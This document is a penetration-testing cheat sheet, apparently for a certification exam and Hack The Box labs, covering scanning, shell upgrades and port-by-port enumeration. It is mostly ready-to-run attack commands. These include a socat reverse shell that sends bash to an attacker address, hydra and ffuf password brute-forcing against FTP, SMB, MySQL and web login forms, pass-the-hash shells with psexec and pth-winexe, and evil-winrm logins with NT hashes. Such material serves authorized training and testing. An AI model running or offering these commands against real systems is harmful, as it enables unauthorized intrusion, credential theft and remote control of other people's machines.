Exam Proofs

Linux:

hostname
cat /path/to/flag/proof.txt
ifconfig

Windows:

hostname
type C:\path\to\flag\proof.txt
ipconfig

Useful services

SSHd

sudo systemctl start ssh
sudo systemctl stop ssh

Add this line to /etc/ssh/ssh_config or /etc/ssh/sshd_config if you are dealing with old versions of ssh. Running ssh with the -v option will help debug what key exchange algorithms you need.

KexAlgorithms diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

Apache2

sudo systemctl start apache2
sudo systemctl stop apache2

Default root directory is /var/www/html.

Scanning

Using rustscan:

rustscan --accessible -a <target> -r 1-65535 -- -sT -sV -sC -Pn

Using nmap:

nmap -Pn -sT -sV -sC <target>

Remember to perform a UDP scan and hopefully there is something you can use!

nmap -sU --script tftp-enum -p53,69,161 <target>

Using nmapAutomator:

./nmapAutomator.sh 10.10.10.209 All

File Transfers

Upgrade to Full TTY

Some commands/exploits may only work when you have full TTY.

Socat

Attacker:

socat file:`tty`,raw,echo=0 TCP-L:1337

Victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1337

From nc

Victim:

python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z

Attacker:

echo $TERM     # note down
stty -a        # note down rows and cols
stty raw -echo
fg

Victim:

reset
export SHELL=bash          
export TERM=xterm256-color # from "echo $TERM"
stty rows 38 columns 116   # from "stty -a"

Port Enumeration

Port 21 (FTP)

Login bruteforce:

hydra -L usernames.txt -P passwords.txt <target> ftp 

Port 139/445 (SMB)

Checking for vulnerabilties:

nmap -Pn -p445 --script smb-vuln-* <target>
nmap -Pn -p445 --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version <target> # SambaCry

Share enumeration:

nmap -Pn -p445 --script smb-enum-shares.nse <target>    # May show path

smbmap -H <IP> [-P <PORT>]                              # Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>]  # Creds
smbmap -u "username" -p "<LM>:<NT>" -H <IP> [-P <PORT>] # Pass-the-Hash

enum4linux -a -u "<username>" -p "<password>" <IP>

If there is no null user, remember to try with the guest username.

Accessing share:

smbclient --no-pass -L //<IP>                              # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP>  # If you omit the passwd, it will be prompted. With --pw-nt-hash, the passwd provided is the NT hash

If there is SMB version incompatibility, edit /etc/samba/smb.conf and append min protocol = SMB1 to [global] seciton.

Login bruteforce:

hydra -L usernames.txt -P passwords.txt <target> smb 

Getting a shell:

Using psexec.py:

psexec.py -hashes "<LM>:<NT>" Administrator@10.0.0.1
psexec.py Administrator:<password>@10.0.0.1
psexec.py <domain>/Administrator:<password>@10.0.0.1

Using winexe:

winexe -U Administrator%<password> //10.0.0.1 cmd.exe

Using pth-winexe:

pth-winexe -U Administrator%<LM>:<NT> //10.0.0.1 cmd.exe

aad3b435b51404eeaad3b435b51404ee is blank LM hash.

Port 389 (LDAP)

Getting LDAP information:

ldapsearch -h <target> -p 389 -x -b "dc=htb,dc=local" 
python windapsearch.py -d htb.local -U --dc-ip <target>

Web server scanning:

nikto -host http://target:80

gobuster dir -k -u "http://target:80/" -w /usr/share/wordlists/dirb/common.txt -t 100 -x .html,.txt,.xml,.jsp,.php,.asp

Wordlists:
1) /usr/share/wordlists/dirb/big.txt
2) /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Wordlist creation:

cewl -e -a http://target:80/ -w wordlist.txt

Form bruteforce:

Using hydra:

hydra -L usernames.txt -P passwords.txt <target> http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:Login Failed"

Using ffuf:

ffuf  -w /usr/share/wordlists/rockyou.txt -u http://nineveh.htb/department/login.php -X POST -d "username=admin&password=FUZZ" -fr "Invalid Password" -H "Content-Type: application/x-www-form-urlencoded" -t 100        

Testing for shellshock:

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

Testing for heartbleed:

nmap -p 443 --script ssl-heartbleed <target>

Port 3306 (MySQL)

Login bruteforce:

hydra -L usernames.txt -P passwords.txt <target> mysql

Accessing:

mysql -h <target> -uroot -ptoor

Port 5985 (WinRM)

Getting a shell:

evil-winrm -i <target> -u <username> -p <password>
evil-winrm -i <target> -u <username> -H <NT hash>

Login bruteforce:

git clone https://github.com/mchoji/winrm-brute
